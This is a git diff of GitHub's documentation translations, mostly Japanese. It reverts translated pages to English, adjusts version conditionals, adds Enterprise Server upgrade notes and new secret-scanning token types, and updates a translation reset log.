**Secret scanning alerts**. +1. In the left sidebar, click **Secret scanning alerts**. {% ifversion fpt or ghes or ghec %} !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png) {% endif %} {% ifversion ghae %} !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png) {% endif %} -4. Under "Secret scanning" click the alert you want to view. +1. Under "Secret scanning" click the alert you want to view. {% ifversion fpt or ghec %} ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png) {% endif %} @@ -42,11 +42,7 @@ shortTitle: Manage secret alerts {% ifversion ghae %} ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png) {% endif %} -5. {% ifversion fpt or ghec %} - Optionally, use the "Close as" drop-down menu and click a reason for resolving an alert. - {%- elsif ghes or ghae %} - Optionally, use the "Mark as" drop-down menu and click a reason for resolving an alert. - {% endif %} +1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert. {% ifversion fpt or ghec %} ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png) {% endif %} diff --git a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md index bcf0fed6aa..21c3bd883f 100644 --- a/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md +++ b/translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md @@ -1,6 +1,6 @@ --- -title: Gistのフォークとクローン -intro: Gists は Git リポジトリです。つまり、オリジナルの作者でなくても Gist をフォークしたりクローンしたりできます。 diff など、Gist の完全なコミット履歴を見ることもできます。 +title: Forking and cloning gists +intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.' permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' redirect_from: - /articles/forking-and-cloning-gists @@ -11,25 +11,24 @@ versions: ghae: '*' ghec: '*' --- +## Forking gists -## Gist をフォークする +Each gist indicates which forks have activity, making it easy to find interesting changes from others. -各 Gist はどのフォークにアクティビティがあるのかを示すため、他のユーザによる興味深い変更を簡単に確認できます。 +![Gist forks](/assets/images/help/gist/gist_forks.png) -![Gist フォーク](/assets/images/help/gist/gist_forks.png) +## Cloning gists -## Gist をクローンする +If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." -Gist にローカルの変更を加え、ウェブにプッシュしたい場合は、Gist をクローンして Git リポジトリと同様にコミットを行えます。 詳しい情報については[リポジトリのクローン](/articles/cloning-a-repository)を参照してください。 +![Gist clone button](/assets/images/help/gist/gist_clone_btn.png) -![Gist クローンボタン](/assets/images/help/gist/gist_clone_btn.png) +## Viewing gist commit history -## Gist のコミットの履歴を見る +To view a gist's full commit history, click the "Revisions" tab at the top of the gist. -Gist の完全なコミットの履歴を見るには、Gist の上部にある [Revisions] タブをクリックします。 +![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png) -![Gist [revisions] タブ](/assets/images/help/gist/gist_revisions_tab.png) +You will see a full commit history for the gist with diffs. -Gist の完全なコミットの履歴が diff とともに表示されます。 - -![Gist [revisions] ページ](/assets/images/help/gist/gist_history.png) +![Gist revisions page](/assets/images/help/gist/gist_history.png) diff --git a/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 3765400734..0d23b4dbc8 100644 --- a/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -434,7 +434,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." | `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). | `runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} @@ -605,7 +605,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." | `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." | `remove_topic` | Triggered when a repository admin removes a topic from a repository. -| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index 0209187eda..1ac3ee3211 100644 --- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -40,7 +40,7 @@ Protected branch rules that mention a special character, such as `*`, `?`, or `] To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. -For more information about each of each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." +For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." ## Creating a branch protection rule diff --git a/translations/ja-JP/data/features/actions-runner-arch-envvars.yml b/translations/ja-JP/data/features/actions-runner-arch-envvars.yml index 66ced1151a..b6f74f6df2 100644 --- a/translations/ja-JP/data/features/actions-runner-arch-envvars.yml +++ b/translations/ja-JP/data/features/actions-runner-arch-envvars.yml @@ -5,4 +5,4 @@ versions: fpt: '*' ghec: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5727' + ghae: 'issue-5727' diff --git a/translations/ja-JP/data/features/keyboard-shortcut-accessibility-setting.yml b/translations/ja-JP/data/features/keyboard-shortcut-accessibility-setting.yml index 7f7cf9d11b..41c2f3dac8 100644 --- a/translations/ja-JP/data/features/keyboard-shortcut-accessibility-setting.yml +++ b/translations/ja-JP/data/features/keyboard-shortcut-accessibility-setting.yml @@ -4,5 +4,5 @@ versions: fpt: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5430' + ghae: 'issue-5430' ghec: '*' diff --git a/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md b/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md index dedb56e41f..d34bce2b0a 100644 --- a/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md +++ b/translations/ja-JP/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ -| アクション | 説明 | -| ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `cancel_workflow_run` | ワークフローの実行がキャンセルされたときにトリガーされます。 For more information, see "[Canceling a workflow](/actions/managing-workflow-runs/canceling-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `completed_workflow_run` | ワークフローのステータスが`completed`に変更されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。 For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `created_workflow_run` | ワークフローの実行が作成されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。 For more information, see "[Create an example workflow](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `delete_workflow_run` | ワークフローの実行が削除されたときにトリガーされます。 詳しい情報については「[ワークフローの実行の削除](/actions/managing-workflow-runs/deleting-a-workflow-run)」を参照してください。 | -| `disable_workflow` | ワークフローが無効化されたときにトリガーされます。 | -| `enable_workflow` | 以前に`disable_workflow`によって無効化されたワークフローが有効化されたときにトリガーされます。 | -| `delete_workflow_run` | ワークフローの実行が再実行されたときにトリガーされます。 For more information, see "[Re-running a workflow](/actions/managing-workflow-runs/re-running-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | ワークフロージョブが開始されたときにトリガーされます。 ジョブに渡されたシークレットのリストを含みます。 Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | -| `reject_workflow_job` | Triggered when a workflow job has been rejected. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."{% endif %} +| アクション | 説明 | +| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `cancel_workflow_run` | ワークフローの実行がキャンセルされたときにトリガーされます。 For more information, see "[Canceling a workflow](/actions/managing-workflow-runs/canceling-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `completed_workflow_run` | ワークフローのステータスが`completed`に変更されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。 For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `created_workflow_run` | ワークフローの実行が作成されたときにトリガーされます。 REST APIを通じてのみ見ることができます。UIやJSON/CSVエクスポートでは見ることができません。 For more information, see "[Create an example workflow](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `delete_workflow_run` | ワークフローの実行が削除されたときにトリガーされます。 詳しい情報については「[ワークフローの実行の削除](/actions/managing-workflow-runs/deleting-a-workflow-run)」を参照してください。 | +| `disable_workflow` | ワークフローが無効化されたときにトリガーされます。 | +| `enable_workflow` | 以前に`disable_workflow`によって無効化されたワークフローが有効化されたときにトリガーされます。 | +| `delete_workflow_run` | ワークフローの実行が再実行されたときにトリガーされます。 For more information, see "[Re-running a workflow](/actions/managing-workflow-runs/re-running-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `prepared_workflow_job` | ワークフロージョブが開始されたときにトリガーされます。 ジョブに渡されたシークレットのリストを含みます。 Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | +| `reject_workflow_job` | Triggered when a workflow job has been rejected. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."{% endif %} diff --git a/translations/ja-JP/data/reusables/enterprise/upgrade-ghes-for-actions.md b/translations/ja-JP/data/reusables/enterprise/upgrade-ghes-for-actions.md new file mode 100644 index 0000000000..6833ff6dc0 --- /dev/null +++ b/translations/ja-JP/data/reusables/enterprise/upgrade-ghes-for-actions.md @@ -0,0 +1,3 @@ +{% ifversion ghes < 3.3 %} +{% data variables.product.prodname_actions %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_actions %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +{% endif %} diff --git a/translations/ja-JP/data/reusables/enterprise/upgrade-ghes-for-features.md b/translations/ja-JP/data/reusables/enterprise/upgrade-ghes-for-features.md new file mode 100644 index 0000000000..fb2c9a733e --- /dev/null +++ b/translations/ja-JP/data/reusables/enterprise/upgrade-ghes-for-features.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements. + +{% endnote %} \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/gated-features/ghas.md b/translations/ja-JP/data/reusables/gated-features/ghas.md index cf5d023b9f..0f74920694 100644 --- a/translations/ja-JP/data/reusables/gated-features/ghas.md +++ b/translations/ja-JP/data/reusables/gated-features/ghas.md @@ -1 +1 @@ -{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)." +{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %} 3.0 or higher.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)."{% else %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} diff --git a/translations/ja-JP/data/reusables/gated-features/packages.md b/translations/ja-JP/data/reusables/gated-features/packages.md index 29e34b51bd..746eb94928 100644 --- a/translations/ja-JP/data/reusables/gated-features/packages.md +++ b/translations/ja-JP/data/reusables/gated-features/packages.md @@ -1,4 +1,4 @@ -{% data variables.product.prodname_registry %}は{% data variables.product.prodname_free_user %}、{% data variables.product.prodname_pro %}、{% data variables.product.prodname_free_team %}のOrganization、{% data variables.product.prodname_team %}、{% data variables.product.prodname_ghe_cloud %}、{% data variables.product.prodname_ghe_server %}、{% data variables.product.prodname_ghe_managed %}で利用できます。 +{% data variables.product.prodname_registry %} is available with {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} 3.0 or higher, and {% data variables.product.prodname_ghe_managed %}.{% ifversion ghes %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} {% ifversion fpt or ghec %}
    {% data variables.product.prodname_registry %}は、レガシーのリポジトリごとのプランを使っているアカウントが所有しているプライベートリポジトリでは利用できません。 また、レガシーのリポジトリごとのプランを使っているアカウントは、リポジトリごとに課金されるため、{% data variables.product.prodname_container_registry %}にはアクセスできません。 {% data reusables.gated-features.more-info %} diff --git a/translations/ja-JP/data/reusables/secret-scanning/beta.md b/translations/ja-JP/data/reusables/secret-scanning/beta.md index e465ef8426..d220e2c7e8 100644 --- a/translations/ja-JP/data/reusables/secret-scanning/beta.md +++ b/translations/ja-JP/data/reusables/secret-scanning/beta.md @@ -3,6 +3,9 @@ **ノート:** Organizationが所有するリポジトリのための{% data variables.product.prodname_secret_scanning_caps %}は現在ベータで、変更されることがあります。 +If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_secret_scanning %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. + + {% endnote %} {% endif %} @@ -10,7 +13,7 @@ {% note %} -**ノート:** {% data variables.product.prodname_secret_scanning_caps %}は{% data variables.product.prodname_ghe_server %} 3.0ではベータでした。 {% data variables.product.prodname_secret_scanning %}の一般に利用なリリースについては、{% data variables.product.prodname_ghe_server %}の最新リリースにアップグレードしてください。 +**ノート:** {% data variables.product.prodname_secret_scanning_caps %}は{% data variables.product.prodname_ghe_server %} 3.0ではベータでした。 {% data variables.product.prodname_secret_scanning %}の一般に利用なリリースについては、{% data variables.product.prodname_ghe_server %}の最新リリースにアップグレードしてください。 For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endnote %} diff --git a/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md index 8ca3e7aec6..91a9a32a7c 100644 --- a/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -81,6 +81,8 @@ Google | Google OAuth Access Token | google_oauth_access_token{% endif %} Google | Google OAuth Client ID | google_oauth_client_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Grafana | Grafana API Key | grafana_api_key{% endif %} Hashicorp Terraform | Terraform Cloud / Enterprise API Token | terraform_api_token Hubspot | Hubspot API Key | hubspot_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -114,7 +116,11 @@ New Relic | New Relic REST API Key | new_relic_rest_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | New Relic Insights Query Key | new_relic_insights_query_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} -New Relic | New Relic License Key | new_relic_license_key{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key +New Relic | New Relic License Key | new_relic_license_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion Integration Token | notion_integration_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion OAuth Client Secret | notion_oauth_client_secret{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Onfido | Onfido Live API Token | onfido_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -146,6 +152,8 @@ Shippo | Shippo Live API Token | shippo_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url {%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Access Token | square_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Production Application Secret | square_production_application_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %} SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key diff --git a/translations/ja-JP/data/variables/enterprise.yml b/translations/ja-JP/data/variables/enterprise.yml index b4884d8468..92be9ff0ed 100644 --- a/translations/ja-JP/data/variables/enterprise.yml +++ b/translations/ja-JP/data/variables/enterprise.yml @@ -1,2 +1,4 @@ --- management_console: 'Management Console' +#https://support.github.com/enterprise/server-upgrade +upgrade_assistant: 'Upgrade assistant' diff --git a/translations/ja-JP/data/variables/gists.yml b/translations/ja-JP/data/variables/gists.yml index 341ff05256..2973c08309 100644 --- a/translations/ja-JP/data/variables/gists.yml +++ b/translations/ja-JP/data/variables/gists.yml @@ -1,7 +1,7 @@ --- gist_homepage: >- - {% ifversion fpt or ghec %}[gistホームページ](https://gist.github.com/){% elsif ghae %}gistホームページ, `http(s)://gist.[hostname)`,{% else %}gistホームページ, `http(s)://[hostname]/gist`もしくはサブドメインが有効化されている場合は`http(s)://gist.[hostname]` {% endif %} + {% ifversion fpt or ghec %}[gist home page](https://gist.github.com/){% elsif ghae %}gist home page, `http(s)://gist.[hostname]`{% else %}gist home page, `http(s)://[hostname]/gist` or `http(s)://gist.[hostname]` if subdomains are enabled{% endif %} gist_search_url: >- - {% ifversion fpt or ghec %}[Gist検索](https://gist.github.com/search){% elsif ghae %}Gist検索, `http(s)://gist.[hostname]/search`,{% else %}Gist検索, `http(s)://[hostname]/gist/search`もしくはサブドメインが有効化されている場合は`http(s)://gist.[hostname]/search`{% endif %} + {% ifversion fpt or ghec %}[Gist Search](https://gist.github.com/search){% elsif ghae %}Gist Search, `http(s)://gist.[hostname]/search`{% else %}Gist Search, `http(s)://[hostname]/gist/search` or `http(s)://gist.[hostname]/search` if subdomains are enabled{% endif %} discover_url: >- - {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Discover, `http(s)://gist.[hostname]/discover`,{% else %}Discover, `http(s)://[hostname]/gist/discover`もしくはサブドメインが有効化されている場合は`http(s)://gist.[hostname]/discover`{% endif %} + {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Discover, `http(s)://gist.[hostname]/discover`{% else %}Discover, `http(s)://[hostname]/gist/discover` or `http(s)://gist.[hostname]/discover` if subdomains are enabled{% endif %} diff --git a/translations/log/cn-resets.csv b/translations/log/cn-resets.csv index a1c12fb0ce..23f9f31f4d 100644 --- a/translations/log/cn-resets.csv +++ b/translations/log/cn-resets.csv @@ -47,7 +47,10 @@ translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-gith translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,rendering error translations/zh-CN/content/actions/managing-workflow-runs/reviewing-deployments.md,Listed in localization-support#489 translations/zh-CN/content/actions/managing-workflow-runs/reviewing-deployments.md,rendering error +translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error +translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error +translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md,rendering error translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,rendering error translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error @@ -80,6 +83,7 @@ translations/zh-CN/content/admin/enterprise-management/configuring-high-availabi translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error +translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,rendering error translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,rendering error @@ -114,6 +118,7 @@ translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-ser translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md,rendering error translations/zh-CN/content/admin/overview/about-enterprise-accounts.md,Listed in localization-support#489 translations/zh-CN/content/admin/overview/about-enterprise-accounts.md,rendering error +translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md,rendering error translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md,rendering error translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,rendering error translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md,rendering error @@ -128,6 +133,7 @@ translations/zh-CN/content/admin/user-management/managing-users-in-your-enterpri translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,rendering error translations/zh-CN/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,rendering error +translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error translations/zh-CN/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,rendering error translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,rendering error translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,rendering error @@ -257,6 +263,7 @@ translations/zh-CN/content/github/understanding-how-github-uses-and-protects-you 